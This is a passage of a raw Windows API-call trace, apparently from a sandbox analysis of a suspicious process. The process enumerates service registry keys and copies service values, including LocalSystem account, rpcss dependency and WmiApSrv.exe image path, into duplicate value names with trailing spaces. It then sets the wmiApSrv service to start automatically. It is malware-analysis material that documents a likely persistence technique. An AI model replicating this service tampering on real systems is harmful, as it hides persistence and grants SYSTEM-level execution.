[0228.604] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0228.604] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0228.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0228.605] RegCloseKey (hKey=0xc4) returned 0x0 [0228.605] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0228.605] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0228.605] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0228.605] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0228.605] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0228.605] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0228.605] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0228.605] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0228.605] RegCloseKey (hKey=0x80000002) returned 0x0 [0228.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0228.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0228.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0228.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0228.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0228.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0228.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0228.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0228.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0228.606] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.606] RegCloseKey (hKey=0x154) returned 0x0 [0228.606] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0228.606] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0228.606] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0228.606] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0228.606] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0228.606] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0228.606] RegCloseKey (hKey=0xc4) returned 0x0 [0228.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0228.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0228.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0228.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0228.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0228.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0228.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0228.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0228.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0228.608] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.608] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.608] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.608] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.608] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.608] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.608] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.608] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.608] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.609] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.609] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.609] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.609] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.609] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.609] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.609] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.609] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0228.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0228.609] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0228.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0228.609] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.609] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.610] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.610] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.610] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.610] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.610] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.610] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.610] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.610] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.610] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.610] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.610] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.610] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.610] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.611] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.611] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0228.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0228.611] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0228.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0228.611] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.611] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.611] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.611] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.611] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.611] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.611] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.611] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.611] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.612] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.612] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.612] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.612] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.612] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.612] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.612] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.612] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0228.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0228.612] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0228.612] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.612] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.613] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.613] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.613] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.613] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.613] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.613] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.613] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.613] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.613] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.613] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.613] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.613] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.613] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.614] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.614] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0228.614] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0228.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0228.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0228.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0228.614] LocalFree (hMem=0x7f03d0) returned 0x0 [0228.614] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0228.614] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x2) returned 0x803990 [0228.631] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0228.634] CloseServiceHandle (hSCObject=0x803990) returned 1 [0228.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0228.634] 